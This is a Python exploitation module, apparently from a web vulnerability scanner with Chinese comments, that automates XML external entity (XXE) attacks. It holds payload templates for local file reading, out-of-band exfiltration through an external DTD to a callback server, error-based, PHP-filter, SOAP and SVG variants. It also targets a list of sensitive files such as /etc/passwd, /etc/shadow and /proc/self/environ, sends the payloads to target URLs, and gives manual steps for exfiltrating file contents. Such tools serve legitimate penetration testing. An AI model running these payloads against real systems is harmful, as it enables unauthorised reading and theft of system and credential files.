532 lines
20 KiB
Python
532 lines
20 KiB
Python
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#!/usr/bin/env python
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# -*- coding: utf-8 -*-
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"""
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XXE（XML外部实体注入）漏洞利用模块
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"""
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import logging
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import re
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import urllib.parse
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import random
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import string
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import base64
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import time
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import xml.dom.minidom
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logger = logging.getLogger('xss_scanner')
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class XXEExploit:
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"""XXE漏洞利用类"""
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def __init__(self, http_client):
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"""
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初始化XXE漏洞利用模块
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Args:
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http_client: HTTP客户端对象
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"""
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self.http_client = http_client
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# XXE有效载荷模板
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self.xxe_payloads = {
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# 基本文件读取
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"file_read": """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "file:///{file_path}" >]>
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<foo>&xxe;</foo>""",
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# 带外数据泄露 (OOB)
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"oob_exfiltration": """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY % file SYSTEM "file:///{file_path}">
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<!ENTITY % dtd SYSTEM "{callback_server}/xxe.dtd">
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%dtd;
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]>
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<foo>&send;</foo>""",
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# 错误诱导泄露
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"error_based": """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY % file SYSTEM "file:///{file_path}">
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<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
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%eval;
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%error;
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]>
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<foo>Error Based XXE</foo>""",
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# PHP过滤器
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"php_filter": """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={file_path}" >]>
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<foo>&xxe;</foo>""",
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# 参数实体
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"parameter_entity": """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ENTITY % xxe SYSTEM "file:///{file_path}" >
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%xxe;
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]>
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<foo>Parameter Entity XXE</foo>""",
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# SOAP注入
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"soap_xxe": """<?xml version="1.0" encoding="UTF-8"?>
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<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
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<!DOCTYPE foo [
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<!ENTITY xxe SYSTEM "file:///{file_path}" >]>
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<soap:Body><foo>&xxe;</foo></soap:Body>
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</soap:Envelope>""",
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# SVG注入
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"svg_xxe": """<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE svg [
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<!ENTITY xxe SYSTEM "file:///{file_path}" >]>
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<svg width="100" height="100">
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<text x="10" y="20">&xxe;</text>
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</svg>"""
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}
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# XXE DTD内容模板
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self.xxe_dtd_template = """<!ENTITY % file SYSTEM "file:///{file_path}">
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<!ENTITY % combined "<!ENTITY send SYSTEM '{callback_server}?data=%file;'>">
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%combined;"""
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# 敏感文件列表
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self.sensitive_files = [
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"/etc/passwd",
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"/etc/hosts",
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"/etc/shadow",
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"/etc/group",
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"/etc/issue",
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"/etc/motd",
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"/proc/self/environ",
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"/proc/version",
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"/proc/cmdline",
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"C:/Windows/win.ini",
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"C:/boot.ini",
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"C:/Windows/System32/drivers/etc/hosts"
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]
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def exploit(self, vulnerability):
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"""
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利用XXE漏洞
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Args:
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vulnerability: 漏洞信息
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Returns:
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dict: 利用结果
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"""
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logger.info(f"尝试利用XXE漏洞: {vulnerability['url']}")
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url = vulnerability.get('url')
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parameter = vulnerability.get('parameter')
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payload = vulnerability.get('payload', '')
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form_action = vulnerability.get('form_action')
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form_method = vulnerability.get('form_method', 'POST')
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if not url or not parameter:
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return {
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'success': False,
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'message': '缺少必要的漏洞信息(URL或参数名)',
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'data': None
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}
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# 尝试读取敏感文件
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for file_path in self.sensitive_files[:5]: # 只尝试前5个文件
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result = self._read_file_via_xxe(url, parameter, file_path, form_action, form_method)
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if result and result['success']:
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return result
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# 生成随机回调标识符
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callback_id = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
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callback_server = f"http://xxe-callback-{callback_id}.example.com"
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# 如果没有成功读取文件，提供OOB XXE的步骤
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return {
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'success': False,
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'message': '无法通过本地测试确认XXE漏洞，请尝试带外(OOB)XXE测试',
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'data': {
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'parameter': parameter,
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'url': url,
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'oob_details': {
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'callback_id': callback_id,
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'callback_server': callback_server
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}
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},
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'manual_steps': [
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"1. 设置一个你控制的Web服务器，托管以下DTD文件:",
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self.xxe_dtd_template.format(file_path="/etc/passwd", callback_server=callback_server),
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"2. 确保该DTD文件可通过HTTP/HTTPS访问，例如: http://your-server.com/xxe.dtd",
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"3. 构造XXE payload:",
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self.xxe_payloads["oob_exfiltration"].format(file_path="/etc/passwd", callback_server="http://your-server.com"),
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"4. 将此payload注入到目标参数中",
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"5. 如果你的服务器收到包含/etc/passwd内容的回调请求，则确认存在XXE漏洞"
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],
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'poc': self.xxe_payloads["file_read"].format(file_path="/etc/passwd")
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}
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def _read_file_via_xxe(self, url, parameter, file_path, form_action=None, form_method=None):
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"""
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通过XXE读取文件
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Args:
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url: 目标URL
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parameter: 参数名
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file_path: 要读取的文件路径
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form_action: 表单操作URL
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form_method: 表单方法
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Returns:
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dict: 利用结果
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"""
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try:
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logger.info(f"尝试通过XXE读取文件: {file_path}")
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# 生成XXE有效载荷
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xxe_payload = self.xxe_payloads["file_read"].format(file_path=file_path)
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# 如果表单操作和方法都存在，使用表单提交
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if form_action and form_method:
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return self._exploit_via_form(url, parameter, xxe_payload, file_path, form_action, form_method)
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else:
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return self._exploit_via_url(url, parameter, xxe_payload, file_path)
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except Exception as e:
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logger.error(f"尝试利用XXE漏洞时出错: {str(e)}")
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return None
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def _exploit_via_form(self, url, parameter, xxe_payload, file_path, form_action, form_method):
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"""
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通过表单提交利用XXE漏洞
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Args:
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url: 目标页面URL
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parameter: 参数名
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xxe_payload: XXE有效载荷
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file_path: 要读取的文件路径
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form_action: 表单操作URL
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form_method: 表单方法
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Returns:
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dict: 利用结果
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"""
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try:
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form_data = {parameter: xxe_payload}
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# 设置请求头
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headers = {
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'Content-Type': 'application/xml',
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'Accept': '*/*'
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}
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# 提交表单
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if form_method.upper() == 'POST':
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response = self.http_client.post(form_action, data=form_data, headers=headers)
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else:
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response = self.http_client.get(form_action, params=form_data, headers=headers)
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# 检查响应是否包含文件内容特征
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if response and response.status_code == 200:
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extracted_content = self._extract_file_content(response.text, file_path)
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if extracted_content:
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logger.info(f"成功通过XXE读取文件: {file_path}")
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return {
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'success': True,
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'message': f'成功利用XXE漏洞读取文件: {file_path}',
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'data': {
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'file_path': file_path,
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'file_content': extracted_content[:1000] + ('...' if len(extracted_content) > 1000 else ''),
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'full_content_length': len(extracted_content)
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},
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'poc': xxe_payload
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}
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except Exception as e:
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logger.error(f"通过表单提交XXE有效载荷时出错: {str(e)}")
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return None
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def _exploit_via_url(self, url, parameter, xxe_payload, file_path):
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"""
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通过URL参数利用XXE漏洞
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Args:
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url: 目标URL
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parameter: 参数名
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xxe_payload: XXE有效载荷
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file_path: 要读取的文件路径
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Returns:
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dict: 利用结果
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"""
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try:
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# 构建包含XXE有效载荷的URL
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parsed_url = urllib.parse.urlparse(url)
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query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
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query_params[parameter] = xxe_payload
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# 重建查询字符串
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new_query = urllib.parse.urlencode(query_params)
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new_url = urllib.parse.urlunparse((
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parsed_url.scheme,
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parsed_url.netloc,
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parsed_url.path,
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parsed_url.params,
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new_query,
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parsed_url.fragment
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))
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# 设置请求头
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headers = {
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'Content-Type': 'application/xml',
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'Accept': '*/*'
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}
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# 发送请求
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response = self.http_client.get(new_url, headers=headers)
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# 检查响应是否包含文件内容特征
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if response and response.status_code == 200:
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extracted_content = self._extract_file_content(response.text, file_path)
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if extracted_content:
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logger.info(f"成功通过XXE读取文件: {file_path}")
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return {
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'success': True,
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'message': f'成功利用XXE漏洞读取文件: {file_path}',
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'data': {
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'file_path': file_path,
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'file_content': extracted_content[:1000] + ('...' if len(extracted_content) > 1000 else ''),
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'full_content_length': len(extracted_content)
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},
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'poc': new_url
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}
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# 尝试使用POST方法
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post_headers = {
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'Content-Type': 'application/xml',
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'Accept': '*/*'
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}
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post_response = self.http_client.post(url, data=xxe_payload, headers=post_headers)
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if post_response and post_response.status_code == 200:
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extracted_content = self._extract_file_content(post_response.text, file_path)
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if extracted_content:
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logger.info(f"成功通过POST XXE读取文件: {file_path}")
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return {
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'success': True,
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'message': f'成功利用XXE漏洞（POST方法）读取文件: {file_path}',
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'data': {
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'file_path': file_path,
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'file_content': extracted_content[:1000] + ('...' if len(extracted_content) > 1000 else ''),
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'full_content_length': len(extracted_content)
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},
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'poc': xxe_payload,
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'method': 'POST',
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'target_url': url
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}
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except Exception as e:
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logger.error(f"通过URL参数利用XXE漏洞时出错: {str(e)}")
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return None
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def _extract_file_content(self, response_text, file_path):
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"""
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从响应中提取文件内容
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Args:
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response_text: 响应文本
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file_path: 尝试访问的文件路径
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Returns:
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str: 提取的文件内容，如果未找到返回None
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"""
|
|||
|
|
# 根据文件类型识别特征
|
|||
|
|
if '/etc/passwd' in file_path:
|
|||
|
|
# 查找/etc/passwd文件特征
|
|||
|
|
if re.search(r"root:.*:0:0:", response_text):
|
|||
|
|
# 提取完整的passwd文件内容
|
|||
|
|
passwd_lines = re.findall(r"([a-z_][a-z0-9_-]*:[^:]*:[0-9]*:[0-9]*:[^:]*:[^:]*:[^\n]*)", response_text)
|
|||
|
|
if passwd_lines:
|
|||
|
|
return "\n".join(passwd_lines)
|
|||
|
|
|
|||
|
|
elif '/etc/hosts' in file_path:
|
|||
|
|
# 查找/etc/hosts文件特征
|
|||
|
|
if re.search(r"127\.0\.0\.1\s+localhost", response_text):
|
|||
|
|
# 提取完整的hosts文件内容
|
|||
|
|
hosts_content = re.search(r"(127\.0\.0\.1\s+localhost.*?)(</|\n\n|$)", response_text, re.DOTALL)
|
|||
|
|
if hosts_content:
|
|||
|
|
return hosts_content.group(1)
|
|||
|
|
|
|||
|
|
elif 'win.ini' in file_path.lower():
|
|||
|
|
# 查找win.ini文件特征
|
|||
|
|
if re.search(r"\[fonts\]|\[extensions\]", response_text, re.IGNORECASE):
|
|||
|
|
# 提取完整的win.ini文件内容
|
|||
|
|
win_ini_content = re.search(r"(\[fonts\].*?)(</|\n\n|$)", response_text, re.DOTALL | re.IGNORECASE)
|
|||
|
|
if win_ini_content:
|
|||
|
|
return win_ini_content.group(1)
|
|||
|
|
|
|||
|
|
# 检查是否包含Base64编码的内容
|
|||
|
|
base64_pattern = r"([A-Za-z0-9+/]{20,}={0,2})"
|
|||
|
|
matches = re.findall(base64_pattern, response_text)
|
|||
|
|
for match in matches:
|
|||
|
|
try:
|
|||
|
|
# 尝试解码
|
|||
|
|
decoded = base64.b64decode(match).decode('utf-8', errors='ignore')
|
|||
|
|
|
|||
|
|
# 检查解码后的内容是否包含敏感信息
|
|||
|
|
if (re.search(r"root:.*:0:0:", decoded) or
|
|||
|
|
re.search(r"127\.0\.0\.1\s+localhost", decoded) or
|
|||
|
|
re.search(r"\[fonts\]|\[extensions\]", decoded, re.IGNORECASE)):
|
|||
|
|
return decoded
|
|||
|
|
|
|||
|
|
except Exception:
|
|||
|
|
continue
|
|||
|
|
|
|||
|
|
# 通用文件内容检测
|
|||
|
|
# 如果响应文本长度超过一定阈值，且不包含HTML标签，可能是文件内容
|
|||
|
|
if len(response_text) > 20 and not re.search(r"<!DOCTYPE html>|<html|<body|<head", response_text, re.IGNORECASE):
|
|||
|
|
# 去除可能的XML标签
|
|||
|
|
clean_text = re.sub(r"<[^>]+>", "", response_text)
|
|||
|
|
if len(clean_text.strip()) > 0:
|
|||
|
|
return clean_text
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _try_php_filter(self, url, parameter, file_path, form_action=None, form_method=None):
|
|||
|
|
"""
|
|||
|
|
尝试使用PHP过滤器
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
url: 目标URL
|
|||
|
|
parameter: 参数名
|
|||
|
|
file_path: 要读取的文件路径
|
|||
|
|
form_action: 表单操作URL
|
|||
|
|
form_method: 表单方法
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
try:
|
|||
|
|
logger.info(f"尝试使用PHP过滤器读取文件: {file_path}")
|
|||
|
|
|
|||
|
|
# 生成PHP过滤器XXE有效载荷
|
|||
|
|
xxe_payload = self.xxe_payloads["php_filter"].format(file_path=file_path)
|
|||
|
|
|
|||
|
|
# 如果表单操作和方法都存在，使用表单提交
|
|||
|
|
if form_action and form_method:
|
|||
|
|
result = self._exploit_via_form(url, parameter, xxe_payload, file_path, form_action, form_method)
|
|||
|
|
else:
|
|||
|
|
result = self._exploit_via_url(url, parameter, xxe_payload, file_path)
|
|||
|
|
|
|||
|
|
return result
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"尝试使用PHP过滤器时出错: {str(e)}")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _try_oob_xxe(self, url, parameter, file_path, callback_server, form_action=None, form_method=None):
|
|||
|
|
"""
|
|||
|
|
尝试使用带外(OOB) XXE
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
url: 目标URL
|
|||
|
|
parameter: 参数名
|
|||
|
|
file_path: 要读取的文件路径
|
|||
|
|
callback_server: 回调服务器URL
|
|||
|
|
form_action: 表单操作URL
|
|||
|
|
form_method: 表单方法
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
try:
|
|||
|
|
logger.info(f"尝试使用带外(OOB) XXE读取文件: {file_path}")
|
|||
|
|
|
|||
|
|
# 生成OOB XXE有效载荷
|
|||
|
|
xxe_payload = self.xxe_payloads["oob_exfiltration"].format(
|
|||
|
|
file_path=file_path,
|
|||
|
|
callback_server=callback_server
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
# 如果表单操作和方法都存在，使用表单提交
|
|||
|
|
if form_action and form_method:
|
|||
|
|
form_data = {parameter: xxe_payload}
|
|||
|
|
|
|||
|
|
# 设置请求头
|
|||
|
|
headers = {
|
|||
|
|
'Content-Type': 'application/xml',
|
|||
|
|
'Accept': '*/*'
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 提交表单
|
|||
|
|
if form_method.upper() == 'POST':
|
|||
|
|
self.http_client.post(form_action, data=form_data, headers=headers)
|
|||
|
|
else:
|
|||
|
|
self.http_client.get(form_action, params=form_data, headers=headers)
|
|||
|
|
else:
|
|||
|
|
# 构建包含XXE有效载荷的URL
|
|||
|
|
parsed_url = urllib.parse.urlparse(url)
|
|||
|
|
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
|
|||
|
|
query_params[parameter] = xxe_payload
|
|||
|
|
|
|||
|
|
# 重建查询字符串
|
|||
|
|
new_query = urllib.parse.urlencode(query_params)
|
|||
|
|
new_url = urllib.parse.urlunparse((
|
|||
|
|
parsed_url.scheme,
|
|||
|
|
parsed_url.netloc,
|
|||
|
|
parsed_url.path,
|
|||
|
|
parsed_url.params,
|
|||
|
|
new_query,
|
|||
|
|
parsed_url.fragment
|
|||
|
|
))
|
|||
|
|
|
|||
|
|
# 设置请求头
|
|||
|
|
headers = {
|
|||
|
|
'Content-Type': 'application/xml',
|
|||
|
|
'Accept': '*/*'
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 发送请求
|
|||
|
|
self.http_client.get(new_url, headers=headers)
|
|||
|
|
|
|||
|
|
# 等待回调服务器响应
|
|||
|
|
# 注意：在实际环境中，这需要回调服务器的实现
|
|||
|
|
time.sleep(2)
|
|||
|
|
|
|||
|
|
# 检查回调是否收到
|
|||
|
|
# 这里假设有一个check_callback方法
|
|||
|
|
if hasattr(self, 'check_callback') and self.check_callback(callback_server):
|
|||
|
|
logger.info(f"成功通过OOB XXE获取文件内容: {file_path}")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': f'成功通过带外(OOB) XXE读取文件: {file_path}',
|
|||
|
|
'data': {
|
|||
|
|
'file_path': file_path,
|
|||
|
|
'callback_server': callback_server
|
|||
|
|
},
|
|||
|
|
'poc': xxe_payload
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"尝试使用带外(OOB) XXE时出错: {str(e)}")
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _prettify_xml(self, xml_string):
|
|||
|
|
"""
|
|||
|
|
美化XML字符串
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
xml_string: XML字符串
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
str: 美化后的XML字符串
|
|||
|
|
"""
|
|||
|
|
try:
|
|||
|
|
dom = xml.dom.minidom.parseString(xml_string)
|
|||
|
|
pretty_xml = dom.toprettyxml()
|
|||
|
|
return pretty_xml
|
|||
|
|
except Exception:
|
|||
|
|
return xml_string
|